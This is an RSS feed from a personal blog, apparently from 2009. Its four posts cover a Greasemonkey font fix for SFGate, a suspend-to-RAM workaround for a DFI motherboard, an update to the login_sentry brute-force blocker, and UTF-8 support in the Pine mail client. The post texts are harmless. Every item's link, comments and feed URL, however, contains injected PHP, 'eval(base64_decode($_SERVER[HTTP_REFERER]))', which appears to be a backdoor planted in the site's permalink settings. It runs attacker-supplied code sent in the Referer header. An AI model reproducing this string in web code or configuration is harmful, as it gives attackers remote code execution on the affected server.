<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	>

<channel>
	<title>Fresh Milk</title>
	<atom:link href="http://milk.mooism.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://milk.mooism.com</link>
	<description>The Top Two Percent</description>
	<pubDate>Sun, 24 May 2009 09:57:41 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.7.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Fixing SFGate.com Readability</title>
		<link>http://milk.mooism.com/2007/02/14/fixing-sfgatecom-readability/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://milk.mooism.com/2007/02/14/fixing-sfgatecom-readability/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 14 Feb 2007 18:06:57 +0000</pubDate>
		<dc:creator>Jesse</dc:creator>
		
		<category><![CDATA[Bay Area]]></category>

		<category><![CDATA[Technology]]></category>

		<category><![CDATA[greasemonkey]]></category>

		<guid isPermaLink="false">http://milk.mooism.com/7/fixing-sfgatecom-readability/</guid>
		<description><![CDATA[Recently SFGate.com, one of the sites I like to read for both local and national news, redesigned their article layout. The new design switches from a sans-serif font to a new large serif font, Georgia, with large spacing between the words and lines. I decided to fix this problem.
I personally can&#8217;t stand Georgia or other [...]]]></description>
			<content:encoded><![CDATA[<p>Recently SFGate.com, one of the sites I like to read for both local and national news, redesigned their article layout. The <a href="http://www.sfgate.com/cgi-bin/blogs/sfgate/category?blogid=28&#038;cat=1165">new design</a> switches from a sans-serif font to a new large serif font, Georgia, with large spacing between the words and lines. I decided to fix this problem.</p>
<p><span id="more-7"></span>I personally can&#8217;t stand Georgia or other serif fonts for reading body text on an LCD screen. Not only does sfgate.com lose its style and instead look like a NYTimes clone, but it&#8217;s simply uncomfortable and slower for me to read the articles. I spend all day reading on a computer, I don&#8217;t need intentional changes making it more difficult.</p>
<p>I gave the new font a shot for a week. I got used to it a little bit, but I found myself closing all but the most interesting articles after the first paragraph, whereas before I usually read the entire article. It&#8217;s just not worth the effort with the new font. Not when there are so many other news sources, or when I can do something about it.</p>
<p>So I made myself a fix. I created a <a href="http://greasemonkey.mozdev.org/">Greasemonkey</a> user script to restore the old font, Arial, and the old spacing. Greasemonkey is an extension for <a href="http://www.mozilla.com">Firefox</a> that allows your client to make arbitrary changes to webpages you view. If you want the old sfgate.com font back, get Greasemonkey installed and then install this script:</p>
<p><a href="http://mooism.com/sfgate_fontfix.user.js">sfgate_foxfix.user.js</a><br />
<em>Link above was temporary broken - it&#8217;s been fixed. However SFGate now allows you to select your own font and size preferences, so I don&#8217;t find the script necessary anymore. 2009/05/24</em></p>
<p>SFGate.com is finally easy for me to read again. The wider paragraphs and other aspects of the new design remain. </p>
]]></content:encoded>
			<wfw:commentRss>http://milk.mooism.com/2007/02/14/fixing-sfgatecom-readability/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Making Suspend to RAM work with the DFI nF4 SLI-DR Expert</title>
		<link>http://milk.mooism.com/2006/08/16/standby-on-dfi-expert/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://milk.mooism.com/2006/08/16/standby-on-dfi-expert/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 17 Aug 2006 07:21:19 +0000</pubDate>
		<dc:creator>Jesse</dc:creator>
		
		<category><![CDATA[Technology]]></category>

		<category><![CDATA[Windows]]></category>

		<category><![CDATA[overclocking]]></category>

		<category><![CDATA[quietpc]]></category>

		<guid isPermaLink="false">http://milk.mooism.com/p/6</guid>
		<description><![CDATA[I finally found a workaround to a problem which has been bothering me since I built my quiet gaming PC back in January. Despite the DFI nF4 SLI-DR Expert being touted as "THE overclocker's motherboard," suspend to RAM (also known as STR or S3) didn't work properly while overclocking.

There were two major problems...]]></description>
			<content:encoded><![CDATA[<p>I finally found a workaround to a problem which has been bothering me since I built my quiet gaming PC back in January. Despite the DFI nF4 SLI-DR Expert being touted as &#8220;THE overclocker&#8217;s motherboard,&#8221; suspend to RAM (also known as STR or S3) didn&#8217;t work properly while overclocking.</p>
<p>There were two major problems:</p>
<p><strong>1.</strong> The temperature sensor readings were wildly inaccurate and the voltage applied to the CPU was increased significantly, beyond any selected overclocking voltage. Not safe.</p>
<p><strong>2.</strong> The FSB (HTT) speed would revert to stock, while maintaining my adjusted multiplier. This meant the CPU was running at 1900MHz instead of 2900MHz, lower than the stock non-overclocked speed. The overclocked FSB speed should have been 290MHz in my case.</p>
<p><span id="more-6"></span></p>
<p>When I first encountered the problem back in January, I contacted DFI support. They confirmed that it was a known problem but didn&#8217;t have any fix. Users on the normally helpful <a href="http://www.dfi-street.com">DFI Street forums</a> didn&#8217;t have any solution either. It was suggested I just use Suspend to Disk (a.k.a. hibernate, S1), but that wasn&#8217;t an option for me due to <a href="http://support.microsoft.com/?kbid=909095&#038;SD=tech">a bug in Windows</a>.</p>
<p>The voltage and inaccurate temperature problems have been fixed by <a href="http://us.dfi.com.tw/Support/Download/bios_download_us.jsp?PRODUCT_ID=3872&#038;STATUS_FLAG=A&#038;SITE=US"><br />
BIOS update NF4ED406</a>, released on April 6th 2006.</p>
<p>With the motherboard no longer in danger of frying itself, I found a workaround for the stock FSB problem that resulted in underclocking for me.</p>
<p>I use <a href="http://www.k8we.com/files/utilities/CG-NVNF4.zip">ClockGen for nForce4</a> (supposedly also on the motherboard utility CD) to change the FSB speed on the fly, to 290MHz in my case. Rather than manually setting the speed each time I resume from standby, I have it automatically done.</p>
<p>It involves three steps:</p>
<p><strong>1.</strong> Create an ini file for CG-NVNF4.exe (ClockGen) with the changes you want it to make. In my case, I put the below in a file named 2900mhz.ini.</p>
<p><code>
<pre>[CG-NVNF4]
FSB=290</pre>
<p></code></p>
<p><strong>2.</strong> Then download and edit <a href="/files/fixspeed.vbs">fixspeed.vbs</a>, a vbscript, changing the file paths to  the correct ones for your CG-NVNF4.exe and ini files.</p>
<p><strong>3.</strong> Put a shortcut to the vbscript in your Startup folder.</p>
<p>Your FSB should now be automatically corrected a few seconds after resuming from standby.</p>
<p>Let me know if that helped!</p>
]]></content:encoded>
			<wfw:commentRss>http://milk.mooism.com/2006/08/16/standby-on-dfi-expert/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>login_sentry updated to v2.2</title>
		<link>http://milk.mooism.com/2006/02/02/login_sentry-updated-to-v22/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://milk.mooism.com/2006/02/02/login_sentry-updated-to-v22/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 03 Feb 2006 03:54:12 +0000</pubDate>
		<dc:creator>Jesse</dc:creator>
		
		<category><![CDATA[Technology]]></category>

		<category><![CDATA[security]]></category>

		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://milk.mooism.com/?p=3</guid>
		<description><![CDATA[Minor update to login_sentry, version 2.2, fixes a few small bugs and improves pattern matching.]]></description>
			<content:encoded><![CDATA[<p>A couple of users informed me of some minor bugs (thanks!), so I&#8217;m releasing a small update to fix them. Some of the pattern matching was also improved to handle log lines from a wider variety of ssh versions and authentication methods.</p>
<p>It can be retrieved here: <a href="http://www.lumiere.net/~j/login_sentry/">http://www.lumiere.net/~j/login_sentry/</a></p>
<p>For those unfamiliar with login_sentry, it&#8217;s a small perl daemon that watches a system logfile for bad login attempts and temporarily bans hosts (via tcpwrappers / hosts.deny) that fail to authenticate repeatedly. This prevents those annoying brute force ssh attempts from filling up your logfile. Additionally it can also watch for authentication attempts via a few other services (postfix SASL, dovecot, and pwauth). </p>
<p>I use it to prevent brute force login attempts via all my authentication methods (including via webmail) and also ban access to all authenticated services (again, including webmail). Since it doesn&#8217;t require anything besides a standard perl install (no special libraries) and bans via hosts.deny instead of firewall rules, it&#8217;s fairly portable too.</p>
]]></content:encoded>
			<wfw:commentRss>http://milk.mooism.com/2006/02/02/login_sentry-updated-to-v22/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>UTF-8 Output Support in Pine</title>
		<link>http://milk.mooism.com/2005/11/21/utf-8-output-support-in-pine/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://milk.mooism.com/2005/11/21/utf-8-output-support-in-pine/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 21 Nov 2005 16:05:35 +0000</pubDate>
		<dc:creator>Jesse</dc:creator>
		
		<category><![CDATA[Technology]]></category>

		<category><![CDATA[unix]]></category>

		<guid isPermaLink="false">http://milk.mooism.com/?p=2</guid>
		<description><![CDATA[A few years ago I switched most of my terminals and programs to use UTF-8. For the most part I had no difficulties.
pine is my preferred CLI email client. It understands different character sets and can even convert from UTF-8 into several others (such as ISO-8859-1). However for some reason, they&#8217;ve never added the ability [...]]]></description>
			<content:encoded><![CDATA[<p>A few years ago I switched most of my terminals and programs to use UTF-8. For the most part I had no difficulties.</p>
<p>pine is my preferred CLI email client. It understands different character sets and can even convert from UTF-8 into several others (such as ISO-8859-1). However for some reason, they&#8217;ve never added the ability to convert from other characters sets to UTF-8. I often receive emails in ISO-8859-1 (it&#8217;s the default on many email clients) and many of the special characters ended up garbled, despite pine knowing that UTF-8 is my preferred character set.</p>
<p>I recently checked to see if pine has been updated to support converting into UTF-8 yet. It hasn&#8217;t. So I went looking for what solutions others were using. I found a few solutions, one of which I&#8217;m using now with good results.</p>
<p><span id="more-2"></span></p>
<p>1. <em>Display Filters</em>. pine allows you to run the body of messages through arbitrary filters via a unix pipe. It can be set to only do this on certain conditions, like when certain character sets are used. You can use this display-filter setting to convert ISO-8859-1 text into UTF-8 using the iconv program.</p>
<pre><code>    _CHARSET(iconv -f ISO-8859-1 -t UTF-8)_</code></pre>
<p>The downside of this method is that headers are not converted and the display of each message is slowed slightly as the iconv program has to be run for each message body displayed.</p>
<p>2. <em>Pine UTF-8 FAQ Patch</em>. The <a href="http://www.suse.de/~bk/pine/FAQ.html">Pine UTF-8 FAQ</a> contains a large patch that adds conversion to UTF-8 support. It uses the iconv() POSIX API to do the conversion, avoiding the need to repeatedly pipe output to an external program. It also converts the headers of messages.</p>
<p>The downside to this one is that the patch is supplied as a patch against the <a href="http://www.math.washington.edu/~chappa/pine/info/all.html">all.patch</a>, a bundle of 18 or so other popular patches, which you may or may not want. Since it&#8217;s a patch against a patch, it seems more likely to have problems applying to new versions of pine. The patch itself is also quite complex.</p>
<p>3. <em>John Dalgliesh&#8217;s <a href="http://www.defyne.org/pine.html">utf8out Patch</a></em>. John made his own patch against pine 4.63 that makes pine use it&#8217;s already existing charset conversion tables to convert its output to UTF-8. Like the Pine UTF-8 FAQ patch, it converts the headers as well as the body. It applies cleanly to the current pine version (4.64), and due to its small size (&lt;150 lines) will probably be easy to apply to future versions. </p>
<p>The only downside to this one is that pine still doesn&#8217;t understand the concept of multi-byte characters, so columns with special characters may not line up correctly. However this downside applies to the previous two solutions also and hasn&#8217;t been a problem for me in practice.</p>
<p>So I&#8217;m now using John&#8217;s patch (#3) full time and it&#8217;s working great for reading emails. Thanks John!</p>
<p>The only quirk left now that I&#8217;m not quite satisfied with, but is unrelated to any of the above solutions/patches, is that when you compose messages with special characters (outside the US-ASCII set) in pine, it sends your email as <code>Content-Type: multipart/mixed</code> with a plaintext UTF-8 portion, rather than simply as <code>Content-Type: text/plain; charset=utf-8</code>. Some email readers display multipart-mixed messages with the attachment icon, which is mildly annoying, although it still displays fine. Pine still sends out normal emails (ones without any special characters) as US-ASCII for maximum compatibility, so this is only a minor issue for me. If anyone knows a fix for this one, I&#8217;d still love to hear it.</p>
]]></content:encoded>
			<wfw:commentRss>http://milk.mooism.com/2005/11/21/utf-8-output-support-in-pine/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
